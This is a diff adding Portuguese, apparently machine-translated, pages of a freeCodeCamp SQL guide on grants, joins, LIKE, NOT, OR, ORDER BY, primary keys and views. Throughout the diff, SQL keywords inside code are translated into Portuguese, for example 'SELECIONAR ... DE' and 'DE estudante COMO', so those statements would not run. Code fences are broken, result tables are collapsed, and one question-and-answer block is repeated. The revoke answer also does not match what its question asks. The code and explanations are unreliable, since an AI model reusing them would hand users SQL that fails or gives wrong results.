+`sql CREATE USER my723acct IDENTIFIED BY kmd26pt DEFAULT TABLESPACE user_data TEMPORARY TABLESPACE temporary_data QUOTA 10M on user_data QUOTA 5M on temporary_data`
+
+### Crie as _tabelas de_ função de função e\_views.
+
+`sql CREATE ROLE role_tables_and_views`
+
+### Conceda à função da pergunta anterior os privilégios para se conectar ao banco de dados e os privilégios para criar tabelas e visualizações.
+
+O privilégio de se conectar ao banco de dados é CREATE SESSION O privilégio de criar tabela é CREATE TABLE O privilégio de criar uma visão é CREATE VIEW `sql GRANT Create session, create table, create view TO role_tables_and_views`
+
+### Conceda o papel anterior na questão para os usuários anny e rita
+
+`sql GRANT role_tables_and_views TO anny, rita`
+
+### Escreva um comando para mudar a senha do usuário rita de abcd para dfgh
+
+`sql ALTER USER rita IDENTIFIED BY dfgh`
+
+### Os usuários rita e anny não possuem privilégios SELECT na tabela INVENTORY que foi criada pela SCOTT. Escreva um comando para permitir que o SCOTT conceda aos usuários os privilégios SELECT nessas tabelas.
+
+`sql GRANT select ON inventory TO rita, anny`
+
+### A rita do usuário foi transferida e não precisa mais do privilégio que lhe foi concedido por meio das _tabelas de_ função de função e\_views. Escreva um comando para removê-la de seus privilégios anteriores, exceto que ela ainda poderia se conectar ao banco de dados.
+
+`sql REVOKE select ON scott.inventory FROM rita REVOKE create table, create view FROM rita`
+
+### O usuário rita que foi transferido está agora se mudando para outra empresa. Como os objetos que ela criou não são mais usados, escreva um comando para remover esse usuário e todos os seus objetos.
+
+Aqui a opção CASCADE é necessária para remover todos os objetos do usuário no banco de dados. \`\` \`sql  
+DROP USER rita CASCADE
+
+### A rita do usuário foi transferida e não precisa mais do privilégio que lhe foi concedido por meio das _tabelas de_ função de função e\_views. Escreva um comando para removê-la de seus privilégios anteriores, exceto que ela ainda poderia se conectar ao banco de dados.
+
+`sql REVOKE select ON scott.inventory FROM rita REVOKE create table, create view FROM rita`
+
+### O usuário rita que foi transferido está agora se mudando para outra empresa. Como os objetos que ela criou não são mais usados, escreva um comando para remover esse usuário e todos os seus objetos.
+
+Aqui a opção CASCADE é necessária para remover todos os objetos do usuário no banco de dados. \`\` \`sql  
+DROP USER rita CASCADE
+```
+### Write SQL query to find the nth highest salary from table. 
+```
+
+sql  
+SELECIONAR TOP 1 Salário DE ( SELECT DISTINCT TOP N Salary FROM Employee ORDER BY Salário DESC ) ORDER BY Salário ASC \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-joins/index.md b/client/src/guide/portuguese/sql/sql-joins/index.md
new file mode 100644
index 0000000000..4a6519a642
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-joins/index.md
@@ -0,0 +1,118 @@
+---
+title: SQL Joins
+localeTitle: Junções SQL
+---
+## Junções SQL
+
+### Exemplo de uso
+
+Para este guia, discutiremos a seção JOIN da instrução SQL.
+
+### Sintaxe SQL com foco em Join
+
+```sql
+SELECT col1, col2, col3, etc.... 
+ FROM  tableNameOne AS a 
+ JOIN tableNameTwo AS b ON a.primeKey = b.primeKey 
+ etc... 
+```
+
+A instrução JOIN poderia ser apenas JOIN ou INNER JOIN, que são os mesmos, ou LEFT JOIN (descrito abaixo).
+
+### Tipos diferentes de JOIN
+
+*   (JUNÇÃO INTERNA
+*   Retorna registros que possuem valores correspondentes nas duas tabelas
+*   À ESQUERDA (EXTERIOR)
+*   Retorna todos os registros da tabela da esquerda e os registros correspondentes da tabela da direita
+*   À DIREITA (EXTERIOR)
+*   Retorna todos os registros da tabela da direita e os registros correspondentes da tabela da esquerda
+*   FULL (EXTERIOR) JUNTAR
+*   Retorna todos os registros quando há uma correspondência na tabela esquerda ou direita
+
+### Junte-se
+
+A tabela do aluno estará na cláusula FROM, portanto, será uma tabela inicial ou LEFT.
+
+Vamos nos juntar à tabela de contatos dos alunos ou à tabela DIREITA.
+
+Você verá que todos os alunos aparecem que também estão na tabela de contatos.
+
+Conforme mostrado nas tabelas abaixo, o studentID 9 está na tabela do aluno, mas NÃO na tabela de contatos, portanto, não aparecerá em uma junção.
+
+Instrução SQL
+
+```sql
+SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+```
+
+Dados "cadastrados": \`\` \`text + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy | estudante-telefone-celular | student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 | Monique Davis | Literatura 555-555-5551 | 97111 | | 2 | Teri Gutierrez | Programação | 555-555-5552 | 97112 | | 3 | Spencer Pautier | Programação | 555-555-5553 | 97113 | | 4 | Louis Ramsey | Programação | 555-555-5554 | 97114 | | 5 | Alvin Greene | Programação | 555-555-5555 | 97115 | | 6 | Sophie Freeman | Programação | 555-555-5556 | 97116 | | 7 | Edgar Frank "Ted" Codd | Ciência da Computação | 555-555-5557 | 97117 | | 8 | Donald D. Chamberlin | Ciência da Computação | 555-555-5558 | 97118 | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- +
+```
+### Left Join 
+ Using the keyword LEFT before JOIN causes the system to start with the student (LEFT) table but will return NULL from the RIGHT table if there are no rows for the LEFT table student. 
+ 
+ Note that studentID 9 appears here but the data from the contact table is just shown as NULL. 
+```
+
+sql SELECT a.studentID, a.FullName, a.programOfStudy, b. `student-phone-cell` , b. `student-US-zipcode` DO aluno como um LEFT JOIN `student-contact-info` AS b ON a.studentID = b.studentID;
+```
+``` text 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ | studentID | FullName               | programOfStudy   | student-phone-cell | student-US-zipcode | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ |         1 | Monique Davis          | Literature       | 555-555-5551       |              97111 | 
+ |         2 | Teri Gutierrez         | Programming      | 555-555-5552       |              97112 | 
+ |         3 | Spencer Pautier        | Programming      | 555-555-5553       |              97113 | 
+ |         4 | Louis Ramsey           | Programming      | 555-555-5554       |              97114 | 
+ |         5 | Alvin Greene           | Programming      | 555-555-5555       |              97115 | 
+ |         6 | Sophie Freeman         | Programming      | 555-555-5556       |              97116 | 
+ |         7 | Edgar Frank "Ted" Codd | Computer Science | 555-555-5557       |              97117 | 
+ |         8 | Donald D. Chamberlin   | Computer Science | 555-555-5558       |              97118 | 
+ |         9 | Raymond F. Boyce       | Computer Science | NULL               |               NULL | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+### Lista completa de tabelas para referência
+
+Listagens da tabela de alunos
+
+```sql
+SELECT a.studentID, a.FullName, sat_score, a.programOfStudy, schoolEmailAdr 
+ FROM student AS a; 
+```
+
+estudante ou mesa LEFT
+
+```text
++-----------+------------------------+-----------+------------------+------------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | schoolEmailAdr         | 
+ +-----------+------------------------+-----------+------------------+------------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | Monique@someSchool.edu | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | Teri@someSchool.edu    | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | Spencer@someSchool.edu | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | Louis@someSchool.edu   | 
+ |         5 | Alvin Greene           |      1200 | Programming      | Alvin@someSchool.edu   | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | Sophie@someSchool.edu  | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | Edgar@someSchool.edu   | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | Donald@someSchool.edu  | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | Raymond@someSchool.edu | 
+ +-----------+------------------------+-----------+------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+sql SELECT \* de `student-contact-info` AS b;
+```
+student contact or RIGHT table 
+```
+
+texto + ----------- + ---------------------------------- + - ------------------ + -------------------- + | studentID | studentEmailAddr | estudante-telefone-celular | student-US-zipcode | + ----------- + ---------------------------------- + - ------------------ + -------------------- + | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | + ----------- + ---------------------------------- + - ------------------ + -------------------- + 8 linhas no set (0,00 seg) \`\` \`
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-left-join-keyword/index.md b/client/src/guide/portuguese/sql/sql-left-join-keyword/index.md
new file mode 100644
index 0000000000..3cb863e49f
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-left-join-keyword/index.md
@@ -0,0 +1,49 @@
+---
+title: SQL Left Join
+localeTitle: SQL Left Join
+---
+## SQL Left Join
+
+### Exemplo de uso
+
+Para este guia, discutiremos o SQL LEFT JOIN.
+
+### Associação à esquerda
+
+Usar a palavra-chave LEFT antes de JOIN faz com que o sistema comece com a tabela do aluno (LEFT), mas retornará NULL da tabela RIGHT se não houver linhas para o aluno da tabela LEFT.
+
+Observe que o studentID 9 aparece aqui, mas os dados da tabela de contatos são mostrados apenas como NULL.
+
+```sql
+SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ LEFT JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+```
+
+\`\` \`text + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy | estudante-telefone-celular | student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 | Monique Davis | Literatura 555-555-5551 | 97111 | | 2 | Teri Gutierrez | Programação | 555-555-5552 | 97112 | | 3 | Spencer Pautier | Programação | 555-555-5553 | 97113 | | 4 | Louis Ramsey | Programação | 555-555-5554 | 97114 | | 5 | Alvin Greene | Programação | 555-555-5555 | 97115 | | 6 | Sophie Freeman | Programação | 555-555-5556 | 97116 | | 7 | Edgar Frank "Ted" Codd | Ciência da Computação | 555-555-5557 | 97117 | | 8 | Donald D. Chamberlin | Ciência da Computação | 555-555-5558 | 97118 | | 9 | Raymond F. Boyce | Ciência da Computação | NULL | NULL | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + 9 linhas no set (0,00 seg)
+```
+### Complete table listings for reference 
+ student or LEFT table SQL 
+```
+
+sql SELECT a.studentID, a.FullName, sat\_score, a.programOfStudy, schoolEmailAdr DE estudante COMO;
+```
+student or LEFT table data 
+```
+
+texto + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | studentID | FullName | sat\_score | programOfStudy | schoolEmailAdr | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | 1 | Monique Davis | 400 | Literatura Monique@someSchool.edu | | 2 | Teri Gutierrez | 800 | Programação | Teri@someSchool.edu | | 3 | Spencer Pautier | 1000 | Programação | Spencer@someSchool.edu | | 4 | Louis Ramsey | 1200 | Programação | Louis@someSchool.edu | | 5 | Alvin Greene | 1200 | Programação | Alvin@someSchool.edu | | 6 | Sophie Freeman | 1200 | Programação | Sophie@someSchool.edu | | 7 | Edgar Frank "Ted" Codd | 2400 | Ciência da Computação | Edgar@someSchool.edu | | 8 | Donald D. Chamberlin | 2400 | Ciência da Computação | Donald@someSchool.edu | | 9 | Raymond F. Boyce | 2400 | Ciência da Computação | Raymond@someSchool.edu | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + 9 linhas no set (0,00 seg)
+
+contato do aluno ou SQL da tabela RIGHT
+
+```sql
+select * from `student-contact-info` as b; 
+```
+
+contato com o aluno ou dados da tabela RIGHT `text +-----------+----------------------------------+--------------------+--------------------+ | studentID | studentEmailAddr | student-phone-cell | student-US-zipcode | +-----------+----------------------------------+--------------------+--------------------+ | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | +-----------+----------------------------------+--------------------+--------------------+ 8 rows in set (0.00 sec)`
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-like-operator/index.md b/client/src/guide/portuguese/sql/sql-like-operator/index.md
new file mode 100644
index 0000000000..d568d45c75
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-like-operator/index.md
@@ -0,0 +1,90 @@
+---
+title: SQL LIKE Operator
+localeTitle: Operador SQL LIKE
+---
+## Operador SQL LIKE
+
+### LIKE Operador definido
+
+O operador `LIKE` é usado em um `WHERE` ou `HAVING` (como parte do `GROUP BY` ) para limitar as linhas selecionadas aos itens quando uma coluna tiver um determinado padrão de caracteres contidos nela.
+
+### Este guia demonstrará:
+
+*   Determinando se uma string inicia ou termina com um determinado padrão de string
+*   Determinando se um padrão existe no meio da string
+*   Determinando se uma string não está contida na string
+
+### Uma coluna começa ou termina com um determinado padrão de string
+
+Esse SQL selecionará os alunos que têm o `FullName` começando com "Monique" ou terminando com "Greene".
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE 
+ FullName LIKE 'Monique%' OR -- note the % at the end but not the beginning 
+ FullName LIKE '%Greene'; -- note the % at the beginning but not the end 
+```
+
+```text
++-----------+---------------+-----------+---------------------+ 
+ | studentID | FullName      | sat_score | rcd_updated         | 
+ +-----------+---------------+-----------+---------------------+ 
+ |         1 | Monique Davis |       400 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene  |      1200 | 2017-08-16 15:34:50 | 
+ +-----------+---------------+-----------+---------------------+ 
+ 2 rows in set (0.00 sec) 
+```
+
+### Um padrão de string está no meio da coluna
+
+Esse SQL selecionará os alunos que possuem "ree" em qualquer parte do nome.
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE FullName LIKE '%ree%'; -- note the % at the beginning AND at the end 
+```
+
+```text
++-----------+----------------+-----------+---------------------+ 
+ | studentID | FullName       | sat_score | rcd_updated         | 
+ +-----------+----------------+-----------+---------------------+ 
+ |         5 | Alvin Greene   |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman |      1200 | 2017-08-16 15:34:50 | 
+ +-----------+----------------+-----------+---------------------+ 
+ 2 rows in set (0.00 sec) 
+```
+
+### Uma string NÃO está na coluna
+
+Você pode colocar "NOT" antes de LIKE para excluir as linhas com o padrão de string em vez de selecioná-las. Esse SQL exclui registros que contêm "cer Pau" e "Ted" na coluna FullName.
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE FullName NOT LIKE '%cer Pau%' AND FullName NOT LIKE '%"Ted"%'; 
+```
+
+```text
++-----------+----------------------+-----------+---------------------+ 
+ | studentID | FullName             | sat_score | rcd_updated         | 
+ +-----------+----------------------+-----------+---------------------+ 
+ |         1 | Monique Davis        |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez       |       800 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey         |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene         |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman       |      1200 | 2017-08-16 15:34:50 | 
+ |         8 | Donald D. Chamberlin |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce     |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+----------------------+-----------+---------------------+ 
+ 7 rows in set (0.00 sec) 
+```
+
+_Aqui está a lista atual de alunos para comparar com os conjuntos de resultados da cláusula where acima._
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated FROM student; 
+```
+
+\`\` \`text + ----------- + ------------------------ + ----------- + --------------------- + | studentID | FullName | _pontuação_ sentada _| rcd_ atualizado | + ----------- + ------------------------ + ----------- + --------------------- + | 1 | Monique Davis | 400 | 2017-08-16 15:34:50 | | 2 | Teri Gutierrez | 800 | 2017-08-16 15:34:50 | | 3 | Spencer Pautier | 1000 | 2017-08-16 15:34:50 | | 4 | Louis Ramsey | 1200 | 2017-08-16 15:34:50 | | 5 | Alvin Greene | 1200 | 2017-08-16 15:34:50 | | 6 | Sophie Freeman | 1200 | 2017-08-16 15:34:50 | | 7 | Edgar Frank "Ted" Codd | 2400 | 2017-08-16 15:35:33 | | 8 | Donald D. Chamberlin | 2400 | 2017-08-16 15:35:33 | | 9 | Raymond F. Boyce | 2400 | 2017-08-16 15:35:33 | + ----------- + ------------------------ + ----------- + --------------------- + 9 linhas no set (0,00 seg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-not-operator/index.md b/client/src/guide/portuguese/sql/sql-not-operator/index.md
new file mode 100644
index 0000000000..f560727c07
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-not-operator/index.md
@@ -0,0 +1,16 @@
+---
+title: SQL not Operator
+localeTitle: SQL não Operador
+---
+## SQL não Operador
+
+Você pode usar o operador `NOT` na cláusula `WHERE` da `SELECT` . Você o usa quando deseja selecionar uma condição que não é verdadeira.
+
+Aqui está um exemplo que seleciona todas as pessoas que não são masculinas:
+
+```sql
+SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE NOT Gender = "M" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-or-operator/index.md b/client/src/guide/portuguese/sql/sql-or-operator/index.md
new file mode 100644
index 0000000000..c7008db5e0
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-or-operator/index.md
@@ -0,0 +1,25 @@
+---
+title: SQL or Operator
+localeTitle: SQL ou Operador
+---
+## SQL ou Operador
+
+Você pode usar o operador `OR` na cláusula `WHERE` da `SELECT` . Você o usa quando deseja selecionar um registro que satisfaça pelo menos uma das condições em sua instrução `OR` .
+
+Aqui está um exemplo que seleciona todos os registros da tabela Pessoa que são homens ou que têm o nome "Maria":
+
+```sql
+SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE Gender = “M” OR Name = “Mary” 
+```
+
+Você pode combinar outros operadores na cláusula `WHERE` (use parênteses para indicar a ordem das operações), como neste exemplo:
+
+```sql
+SELECT Id, Name, DateOfBirth, Gender 
+ FROM Person 
+ WHERE Gender = “M” AND (Name = “Peter” OR Name = “John”) 
+```
+
+Este exemplo seleciona todos os registros em que "Sexo" é "M" e o nome é "Pedro", bem como onde "Sexo" é "M" e o nome é "João".
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-order-by-keyword/index.md b/client/src/guide/portuguese/sql/sql-order-by-keyword/index.md
new file mode 100644
index 0000000000..99bc11a0f7
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-order-by-keyword/index.md
@@ -0,0 +1,61 @@
+---
+title: SQL Order By Keyword
+localeTitle: Ordem SQL por palavra-chave
+---
+## Ordem SQL por palavra-chave
+
+### Ordenar por (ASC, DESC)
+
+ORDER BY nos dá uma maneira de classificar o resultado definido por um ou mais itens na seção SELECT. Aqui está um SQL classificando os alunos por FullName em ordem decrescente. A ordem de classificação padrão é ascendente (ASC), mas para classificar na ordem oposta (descendente) você usa DESC.
+
+```sql
+SELECT studentID, FullName, sat_score 
+ FROM student 
+ ORDER BY FullName DESC; 
+```
+
+```text
++-----------+------------------------+-----------+ 
+ | studentID | FullName               | sat_score | 
+ +-----------+------------------------+-----------+ 
+ |         2 | Teri Gutierrez         |       800 | 
+ |         3 | Spencer Pautier        |      1000 | 
+ |         6 | Sophie Freeman         |      1200 | 
+ |         9 | Raymond F. Boyce       |      2400 | 
+ |         1 | Monique Davis          |       400 | 
+ |         4 | Louis Ramsey           |      1200 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 
+ |         5 | Alvin Greene           |      1200 | 
+ +-----------+------------------------+-----------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+_Aqui está a lista completa de alunos, UN-ORDERED, atual para comparar com o acima._
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated FROM student; 
+```
+
+```text
++-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-primary-key-constraint/index.md b/client/src/guide/portuguese/sql/sql-primary-key-constraint/index.md
new file mode 100644
index 0000000000..393276b779
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-primary-key-constraint/index.md
@@ -0,0 +1,52 @@
+---
+title: SQL Primary Key Constraint
+localeTitle: Restrição de chave primária de SQL
+---
+## Restrição de chave primária
+
+### Introdução
+
+Uma chave primária é uma coluna ou um conjunto de colunas que identifica exclusivamente cada linha de uma tabela.
+
+É chamado de "restrição" porque faz com que o sistema restrinja os dados permitidos nessas colunas. Nesse caso….
+
+*   para conter dados (NOT NULL)
+*   seja ÚNICO de todas as outras linhas na tabela.
+*   Cada tabela pode ter apenas uma chave primária
+
+As chaves primárias são usadas principalmente para manter a integridade dos dados de cada linha.
+
+Ele também permite que o sistema e os aplicativos tenham certeza de que estão lendo, atualizando e unindo os dados corretamente.
+
+### Exemplo com tabela de criação
+
+Aqui está um comando create table que também criará uma chave primária usando dois campos.
+
+```sql
+CREATE TABLE priKeyExample( 
+ rcdKey_id_a INT NOT NULL, 
+ rcdKeySeq_id INT NOT NULL, 
+ someData varchar(256) NOT NULL, 
+ PRIMARY KEY(rcdKey_id_a,rcdKeySeq_id)); 
+```
+
+### Exemplo com alter table
+
+O existente deve ser excluído primeiro
+
+```sql
+DROP INDEX `primary` ON priKeyExample; 
+```
+
+Agora vamos adicionar o novo.
+
+```sql
+ALTER TABLE priKeyExample 
+ ADD CONSTRAINT myPriKey PRIMARY KEY(rcdKey_id_a,rcdKeySeq_id); 
+```
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-replace-view-statement/index.md b/client/src/guide/portuguese/sql/sql-replace-view-statement/index.md
new file mode 100644
index 0000000000..8d70b08228
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-replace-view-statement/index.md
@@ -0,0 +1,110 @@
+---
+title: SQL Replace VIEW Statement
+localeTitle: Substituição de SQL VIEW Statement
+---
+## Substituição de SQL VIEW Statement
+
+## Introdução
+
+Uma Visualização é um objeto de banco de dados que apresenta dados de uma ou mais tabelas. A mesma instrução SQL usada para criar uma exibição também pode ser usada para substituir uma exibição existente.
+
+Este guia atualizará (substituirá) a visão existente "programming-students-v" por uma que seja ligeiramente diferente e tenha um nome diferente.
+
+Dica de segurança: sempre faça backup do esquema antes de fazer alterações nele.
+
+### Sintaxe Geral
+
+```sql
+CREATE OR REPLACE VIEW view_name AS 
+ SELECT column1, column2, ... 
+ FROM table_name 
+ WHERE condition; 
+```
+
+### SQL Usado para criar a visualização e os dados atuais
+
+```sql
+create view `programming-students-v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+```
+
+```sql
+select * from `programming-students-v`; 
+```
+
+Dados atuais:
+
+```text
++-----------------+----------------+ 
+ | FullName        | programOfStudy | 
+ +-----------------+----------------+ 
+ | Teri Gutierrez  | Programming    | 
+ | Spencer Pautier | Programming    | 
+ | Louis Ramsey    | Programming    | 
+ | Alvin Greene    | Programming    | 
+ | Sophie Freeman  | Programming    | 
+ +-----------------+----------------+ 
+ 5 rows in set (0.00 sec) 
+```
+
+Uma lista das visualizações existentes:
+
+```sql
+SHOW FULL TABLES IN fcc_sql_guides_database WHERE TABLE_TYPE LIKE 'VIEW'; 
+```
+
+```text
++-----------------------------------+------------+ 
+ | Tables_in_fcc_sql_guides_database | Table_type | 
+ +-----------------------------------+------------+ 
+ | programming-students-v            | VIEW       | 
+ | students-contact-info_v           | VIEW       | 
+ | students_dropme_v                 | VIEW       | 
+ +-----------------------------------+------------+ 
+ 3 rows in set (0.00 sec) 
+```
+
+### Substituindo a vista
+
+```sql
+create or replace view `programming-students-v` as 
+ select FullName, programOfStudy, sat_score 
+ from student 
+ where programOfStudy = 'Programming'; 
+```
+
+```sql
+select * from `programming-students-v`; 
+```
+
+Nota: a visão agora mostra o sat\_score.
+
+```text
++-----------------+----------------+-----------+ 
+ | FullName        | programOfStudy | sat_score | 
+ +-----------------+----------------+-----------+ 
+ | Teri Gutierrez  | Programming    |       800 | 
+ | Spencer Pautier | Programming    |      1000 | 
+ | Louis Ramsey    | Programming    |      1200 | 
+ | Alvin Greene    | Programming    |      1200 | 
+ | Sophie Freeman  | Programming    |      1200 | 
+ +-----------------+----------------+-----------+ 
+```
+
+Nota: a lista de visualizações não mudou, nossa visão é substituída.
+
+```text
+mysql>  SHOW FULL TABLES IN fcc_sql_guides_database WHERE TABLE_TYPE LIKE 'VIEW'; 
+ +-----------------------------------+------------+ 
+ | Tables_in_fcc_sql_guides_database | Table_type | 
+ +-----------------------------------+------------+ 
+ | programming-students-v            | VIEW       | 
+ | students-contact-info_v           | VIEW       | 
+ | students_dropme_v                 | VIEW       | 
+ +-----------------------------------+------------+ 
+ 3 rows in set (0.00 sec) 
+```
+
+\* Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório. Espero que pelo menos isso lhe dê o suficiente para começar. Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-right-join-keyword/index.md b/client/src/guide/portuguese/sql/sql-right-join-keyword/index.md
new file mode 100644
index 0000000000..3c75eeddbc
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-right-join-keyword/index.md
@@ -0,0 +1,60 @@
+---
+title: SQL Right Join
+localeTitle: Junção direta do SQL
+---
+## Junção direta do SQL
+
+### Exemplo de uso
+
+Para este guia, discutiremos o SQL RIGHT JOIN.
+
+### Junte-se direito
+
+A palavra-chave RIGHT JOIN retorna todos os registros da tabela à direita (tabela 2) e os registros correspondentes da tabela à esquerda (tabela 1). O resultado é NULL do lado esquerdo, quando não há correspondência.
+
+```sql
+SELECT * 
+ FROM table1 
+ RIGHT JOIN table2 
+ ON table1.column_name = table2.column_name; 
+```
+
+### Lista completa de tabelas para referência
+
+comida ou dados da tabela LEFT
+
+```text
++---------+--------------+-----------+------------+ 
+ | ITEM_ID | ITEM_NAME    | ITEM_UNIT | COMPANY_ID | 
+ +---------+--------------+-----------+------------+ 
+ | 1       | Chex Mix     | Pcs       | 16         | 
+ | 6       | Cheez-It     | Pcs       | 15         | 
+ | 2       | BN Biscuit   | Pcs       | 15         | 
+ | 3       | Mighty Munch | Pcs       | 17         | 
+ | 4       | Pot Rice     | Pcs       | 15         | 
+ | 5       | Jaffa Cakes  | Pcs       | 18         | 
+ | 7       | Salt n Shake | Pcs       |            | 
+ +---------+--------------+-----------+------------+ 
+ 
+ 
+ 
+ company or RIGHT table data 
+```
+
